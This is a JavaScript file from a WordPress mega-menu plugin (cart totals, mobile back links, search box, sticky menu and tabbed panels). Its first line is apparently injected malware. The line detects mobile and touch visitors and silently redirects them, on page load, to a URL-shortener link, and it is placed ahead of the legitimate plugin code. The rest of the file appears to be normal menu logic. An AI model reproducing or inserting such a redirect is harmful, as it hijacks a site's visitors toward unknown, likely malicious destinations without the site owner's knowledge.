1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/YdVRanJTl0r0"); 2/*jslint browser: true, white: true */ 3/*global console,jQuery,megamenu,window,navigator*/ 4 5/** 6 * EDD Ajax Cart 7 */ 8(function($) { 9 "use strict"; 10 11 $(function() { 12 $('body').on('edd_cart_item_added', function(event, data) { 13 $('.mega-menu-edd-cart-total').html(data.total); 14 $('.mega-menu-edd-cart-count').html(data.cart_quantity); 15 }); 16 }); 17 18 $(".max-mega-menu").on("after_mega_menu_init", function() { 19 $('li.mega-menu-megamenu').on('open_panel', function() { 20 // reset default 21 var placeholder = $(this).closest(".mega-menu-megamenu").find(".widget_maxmegamenu_image_swap img.mega-placeholder"); 22 var default_src = placeholder.attr('data-default-src'); 23 var default_alt = placeholder.attr('data-default-alt'); 24 placeholder.attr('src', default_src); 25 placeholder.attr('alt', default_alt); 26 27 // preload 28 $('.mega-sub-menu [data-image-swap-url]', $(this) ).not(['data-preloaded']).each( function() { 29 $('<img/>')[0].src = $(this).attr('data-image-swap-url'); 30 $(this).attr('data-preloaded', 'true'); 31 }); 32 }); 33 34 if ( typeof $.fn.hoverIntent !== "function" ) { 35 return; 36 } 37 38 $('.mega-sub-menu [data-image-swap-url]').hoverIntent({ 39 over: function () { 40 var placeholder = $(this).closest(".mega-menu-megamenu").find(".widget_maxmegamenu_image_swap img.mega-placeholder"); 41 var new_src = $(this).attr('data-image-swap-url'); 42 var new_alt = $(this).is("[data-image-swap-alt]") ? $(this).attr('data-image-swap-alt') : ""; 43 placeholder.attr('src', new_src); 44 placeholder.attr('alt', new_alt); 45 }, 46 out: function() {} 47 }); 48 }); 49 50})(jQuery); 51 52/** 53 * Sliding Panels (horizontal) mobile submenu helpers. 54 */ 55(function($) { 56 "use strict"; 57 58 var menuSupportsSideToSide = function($menu) { 59 return $menu.attr("data-mobile-direction") === "horizontal" && 60 $menu.attr("data-effect-mobile").indexOf("slide_") === 0; 61 }; 62 63 var getParentTitleForBackLink = function($item) { 64 var $link = $item.children("a.mega-menu-link").first(); 65 var $titleEl = $link.find(".mega-menu-title").first(); 66 var $clone; 67 68 if ($titleEl.length) { 69 $clone = $titleEl.clone(); 70 $clone.find(".mega-menu-badge").remove(); 71 } else { 72 $clone = $link.clone(); 73 $clone.find(".mega-indicator, .mega-menu-description, .mega-menu-badge").remove(); 74 } 75 76 return $.trim($clone.text()); 77 }; 78 79 var getBackLabel = function($menu, parentTitle) { 80 var template = $menu.attr("data-mobile-back-text") || "{parent_title}"; 81 var safeParentTitle = parentTitle || ""; 82 83 if (template.indexOf("{parent_title}") !== -1) { 84 return template.split("{parent_title}").join(safeParentTitle); 85 } 86 87 return template; 88 }; 89 90 var addBackLinks = function($menu) { 91 var secondClick = $menu.attr("data-second-click"); 92 93 // Top-level non-tabbed panels; tabbed panels (treated as a single panel); 94 // tabbed sub-panels (each tab's children); flyout nested panels (any depth). 95 var $targets = $("> li.mega-menu-item-has-children:not(.mega-menu-tabbed) > ul.mega-sub-menu", $menu).add( 96 $("> li.mega-menu-tabbed > ul.mega-sub-menu", $menu) 97 ).add( 98 $("li.mega-menu-tabbed > ul.mega-sub-menu > li.mega-menu-item-has-children > ul.mega-sub-menu", $menu) 99 ).add( 100 $("li.mega-menu-flyout li.mega-menu-item-has-children > ul.mega-sub-menu", $menu) 101 ); 102 103 $targets.each(function() { 104 if ($("> li.mega-mobile-back", this).length) { 105 return; 106 } 107 108 var $submenu = $(this); 109 var $item = $submenu.parent("li.mega-menu-item-has-children"); 110 111 if ($item.hasClass("mega-collapse-children")) { 112 return; 113 } 114 115 var $parentLink = $item.children("a.mega-menu-link").first(); 116 var isLinkDisabled = $parentLink.hasClass("mega-disable-link"); 117 var parentHref = $parentLink.attr("href"); 118 var useFollowLink = secondClick === "go" && !isLinkDisabled && !!parentHref && parentHref !== "#"; 119 var parentTitle = getParentTitleForBackLink($item); 120 var backLabel = getBackLabel($menu, parentTitle); 121 var $row = $("<li class='mega-mobile-back'></li>"); 122 var $parentDescription = $parentLink.find(".mega-menu-description").first(); 123 124 var $iconBtn = $("<button type='button' class='mega-mobile-back-link'></button>"); 125 $iconBtn.append('<span class="mega-mobile-back-link-icon" aria-hidden="true"></span>'); 126 127 var $textEl = useFollowLink 128 ? $("<a class='mega-mobile-back-link-text'></a>").attr("href", parentHref) 129 : $("<span class='mega-mobile-back-link-text'></span>"); 130 131 if ($parentDescription.length) { 132 var $group = $('<span class="mega-description-group"></span>'); 133 $group.append($('<span class="mega-menu-title"></span>').text(backLabel)); 134 $group.append($parentDescription.clone()); 135 $textEl.append($group); 136 } else { 137 $textEl.text(backLabel); 138 } 139 140 if (useFollowLink) { 141 $iconBtn.attr("aria-label", backLabel); 142 $row.append($iconBtn).append($textEl); 143 } else { 144 $row.append($iconBtn.append($textEl)); 145 } 146 $submenu.prepend($row); 147 }); 148 }; 149 150 var removeBackLinks = function($menu) { 151 $menu.find("li.mega-mobile-back").remove(); 152 }; 153 154 /**
155 * Core sets data("view") to "desktop" | "mobile". Switch events fire before 156 * after_mega_menu_init, so apply once here after listeners are bound. 157 */ 158 var syncMobileBackLinks = function($menu) { 159 if (!menuSupportsSideToSide($menu)) { 160 return; 161 } 162 163 if ($menu.data("view") === "mobile") { 164 addBackLinks($menu); 165 } else { 166 removeBackLinks($menu); 167 } 168 }; 169 170 $(".max-mega-menu").on("after_mega_menu_init", function() { 171 var $menu = $(this); 172 173 if (!menuSupportsSideToSide($menu)) { 174 return; 175 } 176 177 $menu.on("mmm:switchToDesktop.mmmMobileBack", function() { 178 removeBackLinks($menu); 179 }); 180 181 $menu.on("mmm:switchToMobile.mmmMobileBack", function() { 182 addBackLinks($menu); 183 }); 184 185 syncMobileBackLinks($menu); 186 187 $menu.on("click.megamenu", ".mega-mobile-back-link", function(e) { 188 e.preventDefault(); 189 e.stopPropagation(); 190 191 var $submenu = $(this).closest("ul.mega-sub-menu"); 192 var $parentItem = $submenu.parent("li.mega-menu-item-has-children"); 193 var $parentLink = $parentItem.children("a.mega-menu-link").first(); 194 var menuPlugin = $menu.data("maxmegamenu"); 195 196 menuPlugin.hidePanel($parentLink, false); 197 198 $parentLink.trigger("focus"); 199 }); 200 }); 201})(jQuery); 202 203/** 204 * Searchbox jQuery plugin 205 */ 206(function($) { 207 "use strict"; 208 209 $.maxmegamenu_searchbox = function(form, options) { 210 211 var plugin = this; 212 var form = $(form); 213 var $menu = form.parents('.max-mega-menu'); 214 var $wrap = $menu.parent(); 215 var breakpoint = $menu.attr('data-breakpoint'); 216 var input = $('input[type=text]', form); 217 var icon = $('.search-icon', form); 218 219 plugin.isDesktopView = function() { 220 return Math.max(window.outerWidth, $(window).width()) >= breakpoint; // account for scrollbars 221 }; 222 223 plugin.monitorView = function() { 224 if (typeof $menu.data("view") === 'undefined') { 225 if (plugin.isDesktopView()) { 226 $menu.data("view", "desktop"); 227 } else { 228 $menu.data("view", "mobile"); 229 } 230 } 231 232 plugin.checkWidth(); 233 234 $(window).on('resize', function() { 235 plugin.checkWidth(); 236 }); 237 }; 238 239 plugin.checkWidth = function() { 240 var expanding_search = $("li.mega-menu-item .mega-search.expand-to-left input[type=text], li.mega-menu-item .mega-search.expand-to-right input[type=text]", $menu); 241 242 if ( $menu.data("view") === "mobile" ) { 243 var placeholder = expanding_search.attr('data-placeholder'); 244 expanding_search.attr('placeholder', placeholder); 245 expanding_search.attr('aria-hidden', 'false'); 246 } 247 248 if ( $menu.data("view") === "desktop" ) { 249 expanding_search.attr('placeholder', ''); 250 expanding_search.attr('aria-hidden', 'true'); 251 } 252 }; 253 254 plugin.close_search = function(moveFocus = true) { 255 $menu.triggerHandler("mmm:closeSearch"); 256 input.val(""); 257 input.attr('placeholder', ''); 258 input.attr('tabindex', '-1'); 259 input.attr('aria-hidden', 'true'); 260 form.removeClass('mega-search-open'); 261 form.addClass('mega-search-closed'); 262 icon.attr('aria-expanded', 'false'); 263 264 if (moveFocus) { 265 icon.trigger("focus"); 266 } 267 } 268 269 plugin.open_search = function() { 270 $menu.triggerHandler("mmm:openSearch"); 271 input.attr('placeholder', input.attr('data-placeholder')); 272 input.attr('tabindex', '0'); 273 input.attr('aria-hidden', 'false'); 274 form.removeClass('mega-search-closed'); 275 form.addClass('mega-search-open'); 276 icon.attr('aria-expanded', 'true'); 277 input.trigger("focus"); 278 } 279 280 plugin.detect_background_click = function() { 281 var dragging = false;
282 283 $(document).on({ 284 "touchmove": function(e) { dragging = true; }, 285 "touchstart": function(e) { dragging = false; } 286 }); 287 288 $(document).on("click touchend", function(e) { // hide menu when clicked away from 289 if ( form.parent().hasClass('mega-static') ) { 290 return; 291 } 292 if ( ! dragging && ! $(e.target).closest(".max-mega-menu li").length && ! $(e.target).closest(".mega-menu-toggle").length ) { 293 plugin.close_search(false); 294 } 295 dragging = false; 296 }); 297 } 298 299 plugin.init_replacements_search = function() { 300 if ( $menu.data("view") === "mobile" ) { 301 input.attr('tabindex', '0'); 302 303 $(".search-icon", $menu).on('click', function(e) { 304 $(this).parents(".mega-search").submit(); 305 }); 306 } 307 308 if ( $menu.data("view") === "desktop" ) { 309 input.on('blur', function(e) { 310 if ( $menu.parent().hasClass("mega-keyboard-navigation") && input.val() == '' && ! form.parent().hasClass('mega-static') && form.hasClass('mega-search-open') ) { 311 plugin.close_search(); 312 } 313 }); 314 315 icon.on('keypress click', function(e) { 316 var enter_key = 13; 317 var space_key = 32; 318 319 if (e.which === enter_key || e.which === space_key || e.type === 'click') { 320 e.preventDefault(); 321 322 if (form.parent().hasClass('mega-static') ) { 323 form.submit(); 324 return; 325 } 326 327 if ( input.val() != '' ) { 328 form.submit(); 329 return; 330 } 331 332 if ( form.hasClass('mega-search-open') ) { 333 plugin.close_search(); 334 return; 335 } 336 337 if ( form.hasClass('mega-search-closed') ) { 338 plugin.open_search(); 339 return; 340 } 341 }; 342 }); 343 344 icon.on('blur', function() { 345 if ( ! form.parent().hasClass('mega-static') && form.hasClass('mega-search-open') && $wrap.hasClass('mega-keyboard-navigation') ) { 346 setTimeout(function(){ 347 if ( form.find(":focus").length == 0 ) { 348 plugin.close_search(false); 349 } 350 }, 100); 351 } 352 }); 353 354 $menu.on('keydown', function(e) { 355 var escape_key = 27; 356 357 if (e.which === escape_key) { 358 if (! form.parent().hasClass('mega-static') && form.hasClass('mega-search-open') ) { 359 plugin.close_search(); 360 return; 361 } 362 } 363 }); 364 } 365 }; 366 367 plugin.monitorView(); 368 plugin.init_replacements_search(); 369 plugin.detect_background_click(); 370 }; 371 372 $.fn.maxmegamenu_searchbox = function(options) { 373 return this.each(function() { 374 if (undefined === $(this).data('maxmegamenu_searchbox')) { 375 var plugin = new $.maxmegamenu_searchbox(this, options); 376 $(this).data('maxmegamenu_searchbox', plugin); 377 } 378 }); 379 }; 380 381 $(".max-mega-menu").on("after_mega_menu_init", function() { 382 $(".mega-search", this).maxmegamenu_searchbox(); 383 }); 384})(jQuery); 385 386 387/** 388 * Searchbox jQuery plugin 389 */ 390(function($) { 391 "use strict"; 392 393 $.maxmegamenu_toggle_searchbox = function(form, options) { 394 395 var plugin = this; 396 var form = $(form); 397 var $wrap = form.parents('.mega-menu-wrap'); 398 var input = $("input[type=text]", form); 399 var icon = $(".search-icon", form); 400 401 plugin.open_search = function() { 402 input.attr('placeholder', input.attr('data-placeholder')); 403 form.removeClass('mega-search-closed'); 404 form.addClass('mega-search-open'); 405 } 406 407 plugin.close_search = function() { 408 input.attr('placeholder', ''); 409 form.removeClass('mega-search-open'); 410 form.addClass('mega-search-closed'); 411 } 412 413 plugin.init_toggle_search = function() { 414 415 input.val(""); 416 417 input.on('focus', function(e) { 418 if (! form.parent().hasClass('mega-static') && form.hasClass('mega-search-closed') && $wrap.hasClass('mega-keyboard-navigation') ) { 419 plugin.open_search(); 420 } 421 }); 422 423 input.on('blur', function(e) { 424 if ( ! form.parent().hasClass('mega-static') && form.hasClass('mega-search-open') && $wrap.hasClass('mega-keyboard-navigation') ) { 425 plugin.close_search(); 426 } 427 }); 428 429 icon.on('click', function(e) { 430 if (form.hasClass('static') ) { 431 if ( input.attr('required') == 'required' && input.val() == "" ) { 432 return; 433 } else { 434 form.submit(); 435 } 436 } else if (form.hasClass('mega-search-closed')) { 437 input.focus(); 438 plugin.open_search(); 439 } else if ( input.val() == '' ) { 440 plugin.close_search(); 441 } else { 442 form.submit(); 443 } 444 }); 445 446 }; 447 448 plugin.init_toggle_search(); 449 450 }; 451 452 $.fn.maxmegamenu_toggle_searchbox = function(options) { 453 return this.each(function() { 454 if (undefined === $(this).data('maxmegamenu_toggle_searchbox')) { 455 var plugin = new $.maxmegamenu_toggle_searchbox(this, options); 456 $(this).data('maxmegamenu_toggle_searchbox', plugin); 457 } 458 }); 459 }; 460 461 $(function() { 462 $(".mega-menu-toggle .mega-search").maxmegamenu_toggle_searchbox(); 463 }); 464})(jQuery); 465 466/** 467 * Sticky jQuery Plugin 468 */ 469(function($) { 470 471 "use strict"; 472 473 $.maxmegamenu_sticky = function(menu, options) { 474 var plugin = this; 475 var $menu = $(menu); 476 var $wrap = $menu.parent(); 477 var breakpoint = $menu.attr('data-breakpoint'); 478 var sticky_on_mobile = $menu.attr('data-sticky-mobile'); 479 var sticky_on_desktop = $menu.attr('data-sticky-desktop'); 480 var sticky_expand = $menu.attr('data-sticky-expand'); 481 var sticky_expand_mobile = $menu.attr('data-sticky-expand-mobile'); 482 var sticky_offset = isNaN(parseInt($menu.attr('data-sticky-offset'))) ? 0 : parseInt($menu.attr('data-sticky-offset')); 483 var sticky_hide_until_scroll_up = $menu.attr('data-sticky-hide'); 484 var sticky_hide_until_scroll_up_tolerance = isNaN(parseInt($menu.attr('data-sticky-hide-tolerance'))) ? 0 : parseInt($menu.attr('data-sticky-hide-tolerance')); 485 var sticky_hide_until_scroll_up_offset = isNaN(parseInt($menu.attr('data-sticky-hide-offset'))) ? 0 : parseInt($menu.attr('data-sticky-hide-offset')); 486 var sticky_transition = $menu.attr('data-sticky-transition'); 487 var sticky_menu_offset_top; 488 var sticky_menu_offset_left; 489 var sticky_menu_width; 490 var sticky_menu_width_round_up; 491 var sticky_menu_height; 492 var is_stuck = false;
493 var admin_bar_height = 0; 494 var last_scroll_top = 0; 495 var saved_scroll_top = 0; 496 var is_vertical = $menu.hasClass('mega-menu-vertical') || $menu.hasClass('mega-menu-accordion'); 497 498 plugin.isDesktopView = function() { 499 var width = Math.max(document.documentElement.clientWidth || 0, window.innerWidth || 0); 500 return width > breakpoint; 501 }; 502 503 var sticky_hide_until_scroll_up_enabled = function() { 504 return $menu.hasClass('mega-menu-horizontal') && sticky_hide_until_scroll_up == "true"; 505 } 506 507 var sticky_enabled = function() { 508 if ( plugin.isDesktopView() ) { 509 return sticky_on_desktop === 'true'; 510 } else { 511 return sticky_on_mobile === 'true'; 512 } 513 514 return false; 515 }; 516 517 plugin.calculate_menu_position = function() { 518 sticky_menu_offset_top = $wrap.offset().top; 519 520 if ($('body').hasClass('admin-bar') && $("#wpadminbar").is(":visible") && $("#wpadminbar").css('top') == '0px' && $("#wpadminbar").css('position') == 'fixed') { 521 admin_bar_height = $('#wpadminbar').height(); 522 sticky_menu_offset_top = sticky_menu_offset_top - admin_bar_height; 523 } 524 525 if (sticky_offset < 0) { 526 sticky_menu_offset_top = sticky_menu_offset_top + sticky_offset; 527 } else { 528 sticky_menu_offset_top = sticky_menu_offset_top - sticky_offset; 529 } 530 531 sticky_menu_offset_left = $menu.parent().offset().left; 532 sticky_menu_width = window.getComputedStyle($wrap[0]).width; 533 sticky_menu_width_round_up = Math.ceil(parseFloat(sticky_menu_width)); 534 sticky_menu_height = $wrap.height(); 535 }; 536 537 plugin.stick_menu = function() { 538 is_stuck = true; 539 540 var total_offset = parseInt(admin_bar_height, 10) + parseInt(sticky_offset, 10); 541 542 if (sticky_offset < 0) { 543 total_offset = parseInt(admin_bar_height, 10); 544 } 545 546 var placeholder = $("<div />").addClass("mega-sticky-wrapper").css({ 547 'height' : sticky_menu_height + 'px', 548 'position' :'static' 549 }); 550 551 $wrap.addClass('mega-sticky').wrap(placeholder).css({ 552 'margin-top' : total_offset + 'px' 553 }); 554 555 $("body").addClass($menu.attr("id") + "-mega-sticky"); 556 557 $menu.css({ 558 'max-width' : sticky_menu_width_round_up + 'px' 559 }); 560 561 if (sticky_menu_offset_left > 0) { 562 $menu.css({ 563 'margin-left' : sticky_menu_offset_left + 'px' 564 }); 565 } 566 567 if (is_vertical || sticky_expand === 'false') { 568 $wrap.css({ 569 'margin-left' : '0', 570 'margin-right' : '0', 571 'width' : sticky_menu_width_round_up + 'px', 572 'left' : sticky_menu_offset_left + 'px' 573 }); 574 575 $menu.css({ 576 'margin-left' : '0' 577 }); 578 } 579 580 if ( $(window).width() <= breakpoint ) { 581 $wrap.css({ 582 'width' : sticky_menu_width_round_up + 'px' 583 }); 584 585 if (sticky_expand_mobile === 'true') { 586 $wrap.css({ 587 'margin-left' : '', 588 'margin-right' : '', 589 'width' : '', 590 'left' : '' 591 }); 592 593 $menu.css({ 594 'max-width' : '', 595 'margin-left' : '', 596 'width' : '', 597 'left' : '' 598 }); 599 } 600 } 601 602 $wrap.delay(0).queue(function(next){ 603 $(this).addClass('mega-stuck'); 604 next(); 605 }); 606 }; 607 608 plugin.unstick_menu = function(doing_resize) { 609 doing_resize = doing_resize || false; 610 is_stuck = false;
611 612 $wrap.removeClass('mega-sticky').removeClass('mega-hide').css({ 613 'margin' : '', 614 'width' : '', 615 'left': '' 616 }); 617 618 $("body").removeClass($menu.attr("id") + "-mega-sticky"); 619 620 if ( ! doing_resize ) { // this class is used for the height transition, do not remove it if we are simply resizing the window 621 $wrap.delay(0).queue(function(next){ 622 $(this).removeClass('mega-stuck'); 623 next(); 624 }); 625 } 626 627 $menu.css({ 628 'margin-left' : '', 629 'max-width' : '', 630 'left' : '', 631 'width' : '' 632 }); 633 634 if ( $(window).width() <= breakpoint ) { 635 $menu.data('maxmegamenu').toggleBarForceWidth(); 636 } 637 638 if (sticky_transition == 'true' && ! doing_resize ) { 639 var delay = 250; // allows the transiton to complete before unwrapping the menu 640 } else { 641 var delay = 0; 642 } 643 644 $wrap.delay(delay).queue(function(next){ 645 $(this).unwrap(); 646 next(); 647 }); 648 }; 649 650 plugin.mega_sticky_on_scroll = function(){ 651 if ( ! sticky_enabled() ) { 652 return; 653 } 654 655 var scroll_top = $(window).scrollTop(); 656 657 if (scroll_top > sticky_menu_offset_top) { 658 if (!is_stuck) { 659 plugin.stick_menu(); 660 } 661 } else { 662 if (is_stuck) { 663 plugin.unstick_menu(); 664 } 665 } 666 }; 667 668 var mega_hide_on_scroll_up = function() { 669 if (sticky_hide_until_scroll_up_enabled()) { 670 671 if ( $menu.data("view") === "mobile" && $('.mega-menu-toggle', $wrap).hasClass('mega-menu-open') ) { 672 return; 673 } 674 675 var scroll_top = $(window).scrollTop(); 676 677 if ( scroll_top < sticky_hide_until_scroll_up_offset ) { 678 $wrap.removeClass('mega-hide'); 679 $("body").removeClass($menu.attr("id") + "-mega-hide"); 680 } 681 682 saved_scroll_top = last_scroll_top; 683 684 if (scroll_top < last_scroll_top) { 685 // scroll up 686 if (saved_scroll_top - scroll_top > sticky_hide_until_scroll_up_tolerance) { 687 $wrap.removeClass('mega-hide'); 688 $("body").removeClass($menu.attr("id") + "-mega-hide"); 689 } 690 } else { 691 // scroll down 692 if (is_stuck && scroll_top - saved_scroll_top > sticky_hide_until_scroll_up_tolerance) { 693 $wrap.addClass('mega-hide'); 694 $("body").addClass($menu.attr("id") + "-mega-hide"); 695 } 696 } 697 698 last_scroll_top = scroll_top; 699 } 700 } 701 702 plugin.mega_sticky_on_resize = function() { 703 if ($('input', $wrap).is(':focus')) { 704 return; 705 } 706 707 if ( sticky_enabled() ) { 708 if (is_stuck) { 709 plugin.unstick_menu(true); 710 plugin.calculate_menu_position(); 711 plugin.stick_menu(); 712 } else { 713 plugin.calculate_menu_position(); 714 plugin.mega_sticky_on_scroll(); 715 } 716 } else { 717 if (is_stuck) { 718 plugin.unstick_menu(); 719 } 720 } 721 }; 722 723 plugin.init = function() { 724 plugin.calculate_menu_position(); 725 plugin.mega_sticky_on_scroll(); 726 727 $('.mega-menu-accordion li.mega-menu-item').on('open_panel', function() { 728 plugin.calculate_menu_position(); 729 }); 730 731 var $window = $(window); 732 733 $window.scroll(function() { 734 plugin.mega_sticky_on_scroll(); 735 mega_hide_on_scroll_up(); 736 }); 737 738 var windowWidth = $window.width(); 739 var resizeTimer; 740 741 $window.on('resize', function() { 742 clearTimeout(resizeTimer); 743 resizeTimer = setTimeout(function(){ 744 windowWidth = $window.width(); 745 plugin.mega_sticky_on_resize(); 746 }, 100); 747 }); 748 }; 749 750 plugin.init(); 751 }; 752 753 $.fn.maxmegamenu_sticky = function(options) { 754 755 return this.each(function() { 756 if (undefined === $(this).data('maxmegamenu_sticky')) { 757 var plugin = new $.maxmegamenu_sticky(this, options); 758 $(this).data('maxmegamenu_sticky', plugin); 759 } 760 }); 761 762 }; 763 764 $(window).on('load', function (e) { 765 $(".max-mega-menu[data-sticky-enabled]").maxmegamenu_sticky(); 766 }); 767 768})(jQuery); 769 770/** 771 * Handle tabbed functionality 772 */ 773(function($) { 774 $(function() { 775 776 var calculate_tabbed_sub_menu_widths = function( menu_item ) { 777 var menu = menu_item.parents('.max-mega-menu'); 778 779 if( $(menu.attr('data-panel-inner-width')).length > 0 ) { 780 if ( menu.data("view") === "desktop" ) { 781 $('> ul.mega-sub-menu', menu_item).each(function() { 782 var tab_content = $(this); 783 var parent_submenu_content_width = parseInt(tab_content.width()); 784 var parent_submenu_left_padding = parseInt(tab_content.css('paddingLeft')); 785 var tabs_width = $(this).find('a.mega-menu-link').first().outerWidth(); 786 787 $('> li.mega-menu-item > ul.mega-sub-menu', $(this)).each(function() { 788 $(this).css('width', parent_submenu_content_width - tabs_width + 'px'); 789 $(this).css('left', parent_submenu_left_padding + tabs_width + 'px'); 790 }); 791 }); 792 } else { 793 $('> ul.mega-sub-menu > li.mega-menu-item > ul.mega-sub-menu', menu_item).each(function() { 794 $(this).css('width', ''); 795 $(this).css('left', ''); 796 }); 797 } 798 } 799 } 800 801 var calculate_tabbed_sub_menu_heights = function( menu_item ) { 802 803 var menu = menu_item.parents('.max-mega-menu'); 804 var max_height = 0; 805 806 if ( menu.data("view") === "desktop" ) { 807 808 $('> ul.mega-sub-menu', menu_item).css('minHeight', ''); 809 810 $('> ul.mega-sub-menu > li.mega-menu-item > ul.mega-sub-menu', menu_item).each(function() { 811 var tab_content = $(this); 812 var this_height = parseInt(tab_content.css('height')); 813 814 if (this_height > max_height) { 815 max_height = this_height; 816 } 817 }); 818 819 var border_top_width = parseInt($('> ul.mega-sub-menu', menu_item).css('borderTopWidth'),10); 820 var border_bottom_width = parseInt($('> ul.mega-sub-menu', menu_item).css('borderBottomWidth'),10); 821 822 $('> ul.mega-sub-menu', menu_item).css('minHeight', max_height + border_bottom_width + border_top_width); 823 } else { 824 $('> ul.mega-sub-menu', menu_item).css('minHeight', ''); 825 } 826 } 827 828 var $window = $(window); 829 830 var windowWidth = $window.width(); 831 832 $window.on('resize', function() { 833 if ($window.width() != windowWidth) { 834 calculate_tabbed_sub_menu_widths($('li.mega-menu-tabbed')); 835 calculate_tabbed_sub_menu_heights($('li.mega-menu-tabbed')); 836 } 837 }); 838 839 $('li.mega-menu-tabbed, li.mega-menu-tabbed li.mega-collapse-children').on('open_panel', function() { 840 var menu = $(this).parents('.max-mega-menu'); 841 var menu_item = $(this).closest(".mega-menu-tabbed"); 842 843 calculate_tabbed_sub_menu_widths( menu_item ); 844 845 $(">
845 ul.mega-sub-menu", $(this)).promise().done(function(){ // wait until slide animation has completed 846 calculate_tabbed_sub_menu_heights( menu_item ); 847 }); 848 849 if ( menu.data('view') == 'desktop' ) { 850 if ($('> ul.mega-sub-menu > li.mega-menu-item-has-children.mega-toggle-on', menu_item).length == 0 ) { 851 852 853 if ( $('> ul.mega-sub-menu > li.mega-current-menu-item:visible', menu_item).length ) { 854 $('> ul.mega-sub-menu > li.mega-current-menu-item:visible', menu_item).first().addClass('mega-toggle-on'); 855 } else if ( $('> ul.mega-sub-menu > li.mega-current-menu-ancestor:visible', menu_item).length ) { 856 $('> ul.mega-sub-menu > li.mega-current-menu-ancestor:visible', menu_item).first().addClass('mega-toggle-on'); 857 } 858 859 860 if ($('> ul.mega-sub-menu > li.mega-toggle-on', menu_item).length == 0 ) { 861 $('> ul.mega-sub-menu > li.mega-menu-item-has-children:visible', menu_item).first().addClass('mega-toggle-on'); 862 } 863 } 864 865 $('li.mega-menu-tabbed', menu).on('close_panel', function() { 866 $('li.mega-menu-tabbed .mega-toggle-on', menu).removeClass('mega-toggle-on'); 867 }); 868 } 869 870 $('li.mega-menu-tabbed li.mega-collapse-children').on('close_panel', function() { 871 var menu_item = $(this).closest('.mega-menu-tabbed'); 872 873 $("> ul.mega-sub-menu", $(this)).promise().done(function(){ // wait until slide animation has completed 874 calculate_tabbed_sub_menu_heights( menu_item ); 875 }); 876 }); 877 }); 878 }); 879})(jQuery);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.